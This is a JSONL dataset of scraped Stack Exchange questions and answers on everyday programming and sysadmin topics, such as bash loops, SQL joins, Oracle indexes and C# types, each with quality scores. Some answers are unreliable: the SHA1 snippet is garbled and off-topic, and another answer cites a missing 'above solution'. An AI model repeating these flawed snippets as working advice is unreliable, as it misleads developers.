"tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.580809"}
{"id": "hf_820f1cf8fa3f", "question": "<p>I'm sure there's some trivial one-liner with perl, ruby, bash whatever that would let me run a command in a loop until I observe some string in stdout, then stop.  Ideally, I'd like to capture stdout as well, but if it's going to console, that might be enough.  </p>\n\n<p>The particular environment in question at the moment is RedHat Linux but need same thing on Mac sometimes too.  So something, generic and *nixy would be best.  Don't care about Windows - presumably a *nixy thing would work under cygwin.</p>\n\n<p>UPDATE: Note that by \"observe some string\" I mean \"stdout contains some string\" not \"stdout IS some string\".  </p>\n", "question_body": "", "answer": "There's a bunch of ways to do this, the first that came to mind was:\n```\n```\nOUTPUT=\"\"; \nwhile [ `echo $OUTPUT | grep -c somestring` = 0 ]; do \n  OUTPUT=`$cmd`; \ndone\n```\n```\nWhere $cmd is your command to execute.\nFor the heck of it, here's a BASH function version, so you can call this more easily if it's something you're wanting to invoke from an interactive shell on a regular basis:\n```\n```\nfunction run_until () {\n  OUTPUT=\"\";\n  while [ `echo $OUTPUT | grep -c $2` = 0 ]; do\n    OUTPUT=`$1`;\n    echo $OUTPUT;\n  done\n}\n```\n```\nDisclaimer: only lightly tested, may need to do some additional escaping etc. if your commands have lots of arguments or the string contains special chars.\nEDIT\n: Based on feedback from Adam's comment - if you\ndon't\nneed the output for any reason (i.e. don't want to display the output), then you can use this shorter version, with less usage of backticks and therefore less overhead:\n```\n```\nOUTPUT=0; \nwhile [ \"$OUTPUT\" = 0 ]; do \n  OUTPUT=`$cmd | grep -c somestring`;\ndone\n```\n```\nBASH function version also:\n```\n```\nfunction run_until () {\n  OUTPUT=0; \n  while [ \"$OUTPUT\" = 0 ]; do \n    OUTPUT=`$1 | grep -c $2`; \n  done\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.616776"}
{"id": "hf_9576d2e9c696", "question": "<p>Several months ago my work deployed an in-house function that wraps the standard, php, mysql_query() function with additional options and abilities. A sample feature would be some handy debugging tools we can turn on/off. </p>\n\n<p>I was wondering how popular query handlers are and what features people like to build into them.</p>\n", "question_body": "", "answer": "I use a DBAL like\nMDB2\n,\nZend_Db\nor\nDoctrine\nfor similar reason. Primarily to be able to utilize all the shortcuts it offers, not so much for the fact that it supports different databases.\nE.g., old:\n```\n```\n<?php\n$query  = \"SELECT * FROM table\";\n$result = mysql_query($query);\nif (!$result) {\n  echo mysql_error();\n} else {\n  if (mysql_num_rows($result) > 0) {\n    while ($row = mysql_fetch_obj($result)) {\n      ...\n    }\n  }\n}\n?>\n```\n```\nVersus (Zend_Db):\n```\n```\n<?php\ntry {\n  $result = $db->fetchAll(\"SELECT * FROM table\");\n  foreach($result as $row) {\n    ...\n  }\n} catch (Zend_Exception $e) {\n  echo $e->getMessage();\n}\n?>\n```\n```\nIMHO, more intuitive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.665609"}
{"id": "hf_2fc9c0c9d116", "question": "<p>I want to install a gem on all my application servers, but gem install requires sudo access - how can I enable sudo only for running this capistrano command? </p>\n\n<p>In other words, I don't wish to use sudo for all my deployment recipes, just when I invoke this command on the command line.</p>\n", "question_body": "", "answer": "I'm not quite sure I understand the question, but I think you're asking how to restrict sudo to the one specific command and not have to grant unlimited capacity for mischief to all of your Ruby developers.\n/etc/sudoers can be set up to restrict the commands which users are allowed to invoke as root. It is commonly set to ALL, but you can provide just a list of the allowed commands.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.749156"}
{"id": "hf_3e0dfeffdec9", "question": "<p>When I started writing database queries I didn't know the JOIN keyword yet and naturally I just extended what I already knew and wrote queries like this:</p>\n<pre><code>SELECT a.someRow, b.someRow \nFROM tableA AS a, tableB AS b \nWHERE a.ID=b.ID AND b.ID= $someVar\n</code></pre>\n<p>Now that I know that this is the same as an INNER JOIN I find all these queries in my code and ask myself if I should rewrite them. Is there something smelly about them or are they just fine?</p>\n<hr />\n<p><strong>My answer summary</strong>: There is nothing wrong with this query BUT using the keywords will most probably make the code more readable/maintainable.</p>\n<p><strong>My conclusion</strong>: I will not change my old queries but I will correct my writing style and use the keywords in the future.</p>\n", "question_body": "", "answer": "Nothing is wrong with the syntax in your example.  The 'INNER JOIN' syntax is generally termed 'ANSI' syntax, and came after the style illustrated in your example.  It exists to clarify the type/direction/constituents of the join, but is not generally functionally different than what you have.\nSupport for 'ANSI' joins is per-database platform, but it's more or less universal these days.\nAs a side note, one addition with the 'ANSI' syntax was the 'FULL OUTER JOIN' or 'FULL JOIN'.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.796391"}
{"id": "hf_60afbd1cacbe", "question": "<p>I have a base URL :</p>\n\n<pre><code>http://my.server.com/folder/directory/sample\n</code></pre>\n\n<p>And a relative one :</p>\n\n<pre><code>../../other/path\n</code></pre>\n\n<p>How to get the absolute URL from this ? It's pretty straighforward using string manipulation, but I would like to do this in a secure way, using the <code>Uri</code> class or something similar.</p>\n\n<p>It's for a standard a C# app, not an ASP.NET one.</p>\n", "question_body": "", "answer": "```\n```\nvar baseUri = new Uri(\"http://my.server.com/folder/directory/sample\");\nvar absoluteUri = new Uri(baseUri,\"../../other/path\");\n```\n```\nOR\n```\n```\nUri uri;\nif ( Uri.TryCreate(\"http://base/\",\"../relative\", out uri) ) doSomething(uri);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.832137"}
{"id": "hf_9ea58ff4f9b0", "question": "<p>I usually format my project directory like J-P Boodhoo. a main dir containing solution file, then a lib folder for all third-party lib, a src dir, a tools lib for third-party that wont be deployed.... <a href=\"http://blog.jpboodhoo.com/DirectoryStructureForProjects.aspx\" rel=\"noreferrer\">For more info look here</a></p>\n\n<p>I set in my project the reference path for all the needed folder, but if a developper checkout the trunk, he have to set all the reference path. Is there a way to simplify this ?</p>\n\n<p>And am I using Visual Studio 2008.</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "I'm not sure which Visual Studio language you use, but if it's C++, then then file paths are stored in the\n```\n.vcproj\n```\nproject file which should also be under version control.  (NOTE: the\n```\n.sln\n```\nsolution file does NOT store path settings) If you are careful to use relative, rather than absolute paths, it should be easily sharable among multiple developers.\nIn Visual C++ 2008,\nproject files are XML\nso you can edit them directly.  If you want to get really fancy, you can use\n```\n.vsprops\n```\nproperty sheets\nfor additional control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.860049"}
{"id": "hf_d29dae152a15", "question": "<p>I'm not committed to any particular GUI tookit or anything - just needs to be Java based. I want to do simple syntax highlighting ( XML and XQuery ) inside editable text areas.</p>\n\n<p>My only candidate so far is Swing's JTextPane, as it supports seems to support the styling of text, but I have no idea how to implement it in this context.</p>\n\n<p>If a particular toolkit has something like this out of the box, that would be awesome, but I'm open to doing this by hand if need be.</p>\n", "question_body": "", "answer": "JSyntaxPane handles XML and can be extended\nhttp://code.google.com/p/jsyntaxpane/wiki/Using\nOr, it should be possible to extract the NetBeans editor, but that would probably be more work...\n[edit] btw, I got the XML info from\nhere\n...  it doesn't seem to mention it on the google code pages...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.932405"}
{"id": "hf_636cb6b36cd6", "question": "<p>I have a bash script that creates a Subversion patch file for the current directory. I want to modify it to zip the produced file, if <code>-z</code> is given as an argument to the script.</p>\n\n<p>Here's the relevant part:</p>\n\n<pre><code>zipped=''\nzipcommand='&gt;'\n\nif [ \"$1\" = \"-z\" ]\nthen\n   zipped='zipped '\n   filename=\"${filename}.zip\"\n   zipcommand='| zip &gt;'\nfi\n\necho \"Creating ${zipped}patch file $filename...\"\n\nsvn diff $zipcommand $filename\n</code></pre>\n\n<p>This doesn't work because it passes the <code>|</code> or <code>></code> contained in <code>$zipcommand</code> as an argument to <code>svn</code>.</p>\n\n<p>I can easily work around this, but the question is whether it's ever possible to use these kinds of operators when they're contained in variables.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I would do something like this (use bash -c or eval):\n```\n```\nzipped=''\nzipcommand='>'\n\nif [ \"$1\" = \"-z\" ]\nthen\n   zipped='zipped '\n   filename=\"${filename}.zip\"\n   zipcommand='| zip -@'\nfi\n\necho \"Creating ${zipped}patch file $filename...\"\n\neval \"svn diff $zipcommand $filename\"\n# this also works: \n# bash -c \"svn diff $zipcommand $filename\"\n```\n```\nThis appears to work, but my version of zip (Mac OS X) required that i change the line:\n```\n```\nzipcommand='| zip -@'\n```\n```\nto\n```\n```\nzipcommand='| zip - - >'\n```\n```\nEdit: incorporated @DanielBungert's suggestion to use eval", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.968547"}
{"id": "hf_05e387bbd904", "question": "<p>How would I disable and later enable all indexes in a given schema/database in Oracle?</p>\n\n<p>Note: This is to make sqlldr run faster.</p>\n", "question_body": "", "answer": "From here:\nhttp://forums.oracle.com/forums/thread.jspa?messageID=2354075\n```\nalter session set skip_unusable_indexes = true;\n```\n```\nalter index your_index unusable;\n```\ndo import...\n```\nalter index your_index rebuild [online];\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.992632"}
{"id": "hf_3bae2d02ad07", "question": "<p>Essentially the only thing I can deploy to my deployment machine is a JAR file.  I can't install JRuby, nor can I install Glassfish or Tomcat.</p>\n\n<p>Is it possible to package up a Rails application (including Rails, vendored, of course) to a JAR file such that I can do</p>\n\n<pre><code>c:\\my_server&gt; java rails_app.jar\n</code></pre>\n\n<p>and have it run WEBRick or Mongrel within the JVM?</p>\n", "question_body": "", "answer": "I'd recommend that you checkout Jetty.  The process for\nEmbedding Jetty\nis surprisingly easy, and it should be possible to give it your servlets from your current jar file.  I haven't used Ruby/Rails, though, so I'm not sure if there are any complications there.\nIs it normally possible to embed all of your rails templates/models into a jar inside of a war file for deployment on Tomcat?  If so, then you should be able to get embedded Jetty to pull it from your single jar as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.039402"}
{"id": "hf_6c81efd0a67e", "question": "<p>I am writing a script for MS PowerShell.  This script uses the <code>Copy-Item</code> command.  One of the optional arguments to this command is \"<code>-container</code>\". The documentation for the argument states that specifying this argument \"Preserves container objects during the copy operation.\"</p>\n\n<p>This is all well and good, for I would be the last person to want unpreserved container objects during a copy operation.  But in all seriousness, what does this argument do?  Particularly in the case where I am copying a disk directory tree from one place to another, what difference does this make to the behavior of the <code>Copy-Item</code> command?</p>\n", "question_body": "", "answer": "The container the documentation is talking about is the folder structure.  If you are doing a recursive copy and want to preserve the folder structure, you would use the -container switch. (Note: by default the -container switch is set to true, so you really would not need to specify it.  If you wanted to turn it off you could use\n```\n-container: $false\n```\n.)\nThere is a catch to this... if you do a directory listing and pipe it to Copy-Item, it will not preserve the folder structure.  If you want to preserve the folder structure, you have to specify the -path property and the -recurse switch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.099473"}
{"id": "hf_c91d04158dbb", "question": "<p>I've been a professional software engineer for about a year now, having graduated with a CS degree. I've known about assertions for a while in C++ and C, but had no idea they existed in C# and .NET at all until recently.</p>\n\n<p>Our production code contains no asserts whatsoever and my question is this...</p>\n\n<p>Should I begin using Asserts in our production code? And if so, When is its use most appropriate? Would it make more sense to do</p>\n\n<pre><code>Debug.Assert(val != null);\n</code></pre>\n\n<p>or</p>\n\n<pre><code>if ( val == null )\n    throw new exception();\n</code></pre>\n", "question_body": "", "answer": "Put\n```\nDebug.Assert()\n```\neverywhere in the code where you want have sanity checks to ensure invariants. When you compile a Release build (i.e., no\n```\nDEBUG\n```\ncompiler constant), the calls to\n```\nDebug.Assert()\n```\nwill be removed so they won't affect performance.\nYou should still throw exceptions before calling\n```\nDebug.Assert()\n```\n. The assert just makes sure that everything is as expected while you're still developing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.124302"}
{"id": "hf_bd0c17550bde", "question": "<p>Sometimes I find myself in the situation where I want to execute several sequential commands like such:</p>\n\n<pre><code>try:\n    foo(a, b)\nexcept Exception, e:\n    baz(e)\ntry:\n    bar(c, d)\nexcept Exception, e:\n    baz(e)\n...\n</code></pre>\n\n<p>This same pattern occurs when exceptions simply need to be ignored.</p>\n\n<p>This feels redundant and the excessive syntax causes it to be surprisingly difficult to follow when reading code.</p>\n\n<p>In C, I would have solved this type of problem easily with a macro, but unfortunately, this cannot be done in straight python.</p>\n\n<p>Question: How can I best reduce the code footprint and increase code readability when coming across this pattern?</p>\n", "question_body": "", "answer": "If they're simple one-line commands, you can wrap them in\n```\nlambda\n```\ns:\n```\n```\nfor cmd in [\n    (lambda: foo (a, b)),\n    (lambda: bar (c, d)),\n]:\n    try:\n        cmd ()\n    except StandardError, e:\n        baz (e)\n```\n```\nYou could wrap that whole thing up in a function, so it looked like this:\n```\n```\nignore_errors (baz, [\n    (lambda: foo (a, b)),\n    (lambda: bar (c, d)),\n])\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.161716"}
{"id": "hf_c817240150df", "question": "<p>The resource definition in tomcat's <code>server.xml</code> looks something like this...</p>\n\n<pre class=\"lang-xml prettyprint-override\"><code>&lt;Resource\n    name=\"jdbc/tox\"\n    scope=\"Shareable\"\n    type=\"javax.sql.DataSource\"\n    url=\"jdbc:oracle:thin:@yourDBserver.yourCompany.com:1521:yourDBsid\"\n    driverClassName=\"oracle.jdbc.pool.OracleDataSource\"\n    username=\"tox\"\n    password=\"toxbaby\"\n    maxIdle=\"3\"\n    maxActive=\"10\"\n    removeAbandoned=\"true\"\n    removeAbandonedTimeout=\"60\"\n    testOnBorrow=\"true\"\n    validationQuery=\"select * from dual\"\n    logAbandoned=\"true\"\n    debug=\"99\"/&gt;\n</code></pre>\n\n<p>The password is in the clear.  How to avoid this?</p>\n", "question_body": "", "answer": "We use C#'s    SHA1CryptoServiceProvider\n```\n```\nprint(SHA1CryptoServiceProvider sHA1Hasher = new SHA1CryptoServiceProvider();\n        ASCIIEncoding enc = new ASCIIEncoding();\n\n        byte[] arrbytHashValue = sHA1Hasher.ComputeHash(enc.GetBytes(clearTextPW));\n        string HashData = System.BitConverter.ToString(arrbytHashValue);\n        HashData = HashData.Replace(\"-\", \"\");\n        if (HashData == databaseHashedPassWO)\n        {\n            return true;\n        }\n        else\n        {\n            return false;\n        });\n```\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.198413"}
{"id": "hf_f48cc3b6be00", "question": "<p>What's the most efficient way to read a stream into another stream?  In this case, I'm trying to read data in a Filestream into a generic stream.  I know I could do the following:<br>\n1. read line by line and write the data to the stream<br>\n2. read chunks of bytes and write to the stream<br>\n3. etc</p>\n\n<p>I'm just trying to find the most efficient way.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Reading a buffer of bytes and then writing it is fastest. Methods like\n```\nReadLine()\n```\nneed to look for line delimiters, which takes more time than just filling a buffer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.222647"}
{"id": "hf_dfe77971d8d3", "question": "<p>I have recently been thinking about the difference between the two ways of defining an array:</p>\n\n<ol>\n<li><code>int[] array</code></li>\n<li><code>int array[]</code></li>\n</ol>\n\n<p>Is there a difference?</p>\n", "question_body": "", "answer": "They are semantically identical. The\n```\nint array[]\n```\nsyntax was only added to help C programmers get used to java.\n```\nint[] array\n```\nis much preferable, and less confusing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.247543"}
{"id": "hf_16d12fdbb6db", "question": "<p>Is there a way to statically/globally request a copy of the ApplicationContext in a Spring application?</p>\n\n<p>Assuming the main class starts up and initializes the application context, does it need to pass that down through the call stack to any classes that need it, or is there a way for a class to ask for the previously created context?  (Which I assume has to be a singleton?)</p>\n", "question_body": "", "answer": "Here's a nice way (not mine, the original reference is here:\nhttp://sujitpal.blogspot.com/2007/03/accessing-spring-beans-from-legacy-code.html\nI've used this approach and it works fine. Basically it's a simple bean that holds a (static) reference to the application context. By referencing it in the spring config it's initialized.\nTake a look at the original ref, it's very clear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.284330"}
{"id": "hf_e8e37ca3b511", "question": "<p>Ruby on Rails does not do multithreaded request-responses very well, or at least, ActiveRecord doesn't.</p>\n\n<p>The notion of only one request-response active at the same time can be a hassle when creating web applications which fork off a shell-command that takes long to finish.</p>\n\n<p>What I'd like are some of your views on these kinds of setups? Is Rails maybe not a good fit for some applications?</p>\n\n<p>Also, what are the current state of affairs in regard to concurrency in Ruby on Rails? What are the best practices. Are there workarounds to the shortcomings?</p>\n", "question_body": "", "answer": "Rails currently doesn't handle concurrent requests within a single MRI (Matz Ruby Interpreter) Ruby process. Each request is essentally wrapped with a giant mutex. A lot of work has gone into making the forthcoming Rails 2.2 thread-safe, but you're not going to get a lot of benefit from this when running under Ruby 1.8x. I can't comment on whether Ruby 1.9 will be different because I'm not very familiar with it, but probably not I'd have thought.\nOne area that does look very promising in this regard is running Rails using JRuby, because the JVM is generally acknowledged as being good at multi-threading.\nArun Gupta\nfrom Sun Microsystems gave some\ninteresting performance figures\non this setup at RailsConf Europe recently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.333479"}
{"id": "hf_13ac9e33957d", "question": "<p>I have a many to many index table, and I want to do an include/exclude type query on it.</p>\n\n<p>fid is really a integer index, but here as letters for easier understanding.  Here's a sample table :</p>\n\n<p>table t</p>\n\n<pre><code>eid | fid\n----+----\n1   | A\n1   | B\n1   | C\n2   | B\n2   | C\n3   | A\n3   | C\n4   | A\n4   | B\n5   | B\n</code></pre>\n\n<p>Here are some sample queries I want.</p>\n\n<ol>\n<li>What eids have fid B, and NOT A?  (Answer eid 2 and 5)</li>\n<li>What eids have fid C, and NOT A?  (Answer eid 2)</li>\n</ol>\n\n<p>I can't seem to figure out a query that will do this.  </p>\n\n<p>I've tried a self join like this:</p>\n\n<pre><code>select * \nfrom t as t1 \njoin t as t2 \nwhere t1.eid=t2.eid \n  and t1.fid!=t2.fid \n  and t1.fid=B and t2.fid!=A\n</code></pre>\n\n<p>That won't work, because it will still return rows where eid=1 and fid=C.</p>\n\n<p>Am I clear on what I want?</p>\n", "question_body": "", "answer": "Use\nset subtraction\n```\n```\nSelect eid from t where fid = 'B' \nEXCEPT\nselect eid from t where fid = 'A'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.357641"}
{"id": "hf_977a00c5f844", "question": "<p>I have a Postgresql database on which I want to do a few cascading deletes.  However, the tables aren't set up with the ON DELETE CASCADE rule.  Is there any way I can perform a delete and tell Postgresql to cascade it just this once?  Something equivalent to</p>\n\n<pre><code>DELETE FROM some_table CASCADE;\n</code></pre>\n\n<p>The answers to <a href=\"https://stackoverflow.com/questions/45611/cascading-deletes-in-postgresql\">this older question</a> make it seem like no such solution exists, but I figured I'd ask this question explicitly just to be sure.</p>\n", "question_body": "", "answer": "No.  To do it just once you would simply write the delete statement for the table you want to cascade.\n```\n```\nDELETE FROM some_child_table WHERE some_fk_field IN (SELECT some_id FROM some_Table);\nDELETE FROM some_table;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.405488"}
{"id": "hf_5ec5d6c088d9", "question": "<p>There have been a few questions asked here about why you can't define static methods within interfaces, but none of them address a basic inconsistency: why can you define static fields and static inner types within an interface, but not static methods?</p>\n\n<p>Static inner types perhaps aren't a fair comparison, since that's just syntactic sugar that generates a new class, but why fields but not methods?</p>\n\n<p>An argument against static methods within interfaces is that it breaks the virtual table resolution strategy used by the JVM, but shouldn't that apply equally to static fields, i.e. the compiler can just inline it?</p>\n\n<p>Consistency is what I desire, and Java should have either supported no statics of any form within an interface, or it should be consistent and allow them.  </p>\n", "question_body": "", "answer": "Two main reasons spring to mind:\nStatic methods in Java cannot be overridden by subclasses, and this is a much bigger deal for methods than static fields.  In practice, I've never even wanted to override a field in a subclass, but I override methods all the time.  So having static methods prevents a class implementing the interface from supplying its own implementation of that method, which largely defeats the purpose of using an interface.\nInterfaces aren't supposed to have code; that's what abstract classes are for.  The whole point of an interface is to let you talk about possibly-unrelated objects which happen to all have a certain set of methods.  Actually providing an implementation of those methods is outside the bounds of what interfaces are intended to be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.429341"}
{"id": "hf_b4140af18339", "question": "<p>This is likely going to be an easy answer and I'm just missing something, but here goes...If I have a Type, (that is, an actual System.Type...not an instance) how do I tell if it inherits from another specific base type?</p>\n", "question_body": "", "answer": "EDIT: Note that the above solution will fail if the base type you are looking for is an interface.  The following solution will work for any type of inheritance, be it class or interface.\n```\n```\n// Returns true if \"type\" inherits from \"baseType\"\npublic static bool Inherits(Type type, Type baseType) {\n    return baseType.IsAssignableFrom(type)\n}\n```\n```\n(Semi)Helpful extract from the\nMSDN\narticle:\ntrue if [the argument] and the current Type represent the same type, or if the current Type is in the inheritance hierarchy of [the argument], or if the current Type is an interface that [the argument] implements, or if [the argument] is a generic type parameter and the current Type represents one of the constraints of [the argument]. false if none of these conditions are true, or if [the argument] is a null reference (Nothing in Visual Basic).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.454323"}
{"id": "hf_23e3d585f77a", "question": "<p>Forgive the vague title, I wasn't sure how to describe it.</p>\n\n<p>If you have a generic model \"Archive\", how do you show different views/forms based on a user selected 'type'?</p>\n\n<p>For example, the user creates a new \"Archive\", then gets the choice of video, book, audio etc. From there they get different forms based on the archive type.</p>\n\n<p>Or would it be better to split them into different models - Video, Book, Audio? </p>\n\n<p>Or can models inherit (like Video extends Archive). I guess this is basic OOP / classes, but have no idea how to apply that here.</p>\n\n<p>Examples from any MVC framework are welcome!</p>\n", "question_body": "", "answer": "Your models Video, Book and Audio can inherit from Archive.\nAnd each model will have a controller.\nhttp://yourserver/Books/Edit/11\nYou will have to get your user to pick the type of archive they want before you create the corresponding model.\nEDIT (in response to comment)\nIn ASP.NET MVC your model will be a class.\n```\n```\npublic class Video : Archive\n{  \n    public int Id {get;set}\n    public string Name {get;set;}     \n    ...\n}\n```\n```\nYou will also have a controller\n```\n```\npublic class VideoController : Controller\n{\n    public object Edit(int id)\n    {\n        Video myVideo = GetVideo(id);\n        return View(\"Edit\", myVideo);\n    }\n     ...\n}\n```\n```\nAnd you will have a view in the Views directory for example, the page which contains\n```\n```\npublic class Edit : View<Video>\n{\n    ...\n}\n```\n```\nSo you can call this if you had a URL which was\nhttp://localhost/Video/Edit/11\nThis was all done from memory, so there may be some mistakes, but the take-home message is that you specify the inheritance at the model.  The model is just a class.  In your case you want to inherit from Archive.  Once you've done that the model is pass around as normal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.478615"}
{"id": "hf_94d965a36c3d", "question": "<p>I often run into the problem that I have one stream full of data and want to write everything of it into another stream.</p>\n\n<p>All code-examples out there use a buffer in form of a byte-array.</p>\n\n<p>Is there a more elegant way to this?</p>\n\n<p>If not, what's the ideal size of the buffer. Which factors make up this value?</p>\n", "question_body": "", "answer": "Regarding the ideal buffer size:\n\"When using the Read method, it is more efficient to use a buffer that is the same size as the internal buffer of the stream, where the internal buffer is set to your desired block size, and to always read less than the block size. If the size of the internal buffer was unspecified when the stream was constructed, its default size is 4 kilobytes (4096 bytes).\"\nAny stream-reading process will use Read(char buffer[], int index, count), which is the method this quote refers to.\nhttp://msdn.microsoft.com/en-us/library/9kstw824.aspx\n(Under \"Remarks\").", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.541586"}
{"id": "hf_9e4de8cf6ef4", "question": "<p>I understand the differences between optimistic and pessimistic locking.  Now, could someone explain to me when I would use either one in general?</p>\n<p>And does the answer to this question change depending on whether or not I'm using a stored procedure to perform the query?</p>\n<p>But just to check, optimistic means &quot;don't lock the table while reading&quot; and pessimistic means &quot;lock the table while reading.&quot;</p>\n", "question_body": "", "answer": "Optimistic assumes that nothing's going to change while you're reading it.\nPessimistic assumes that something will and so locks it.\nIf it's not essential that the data is perfectly read use optimistic. You might get the odd 'dirty' read - but it's far less likely to result in deadlocks and the like.\nMost web applications are fine with dirty reads - on the rare occasion the data doesn't exactly tally the next reload does.\nFor exact data operations (like in many financial transactions) use pessimistic. It's essential that the data is accurately read, with no un-shown changes - the extra locking overhead is worth it.\nOh, and Microsoft SQL server defaults to page locking - basically the row you're reading and a few either side. Row locking is more accurate but much slower. It's often worth setting your transactions to read-committed or no-lock to avoid deadlocks while reading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.594441"}
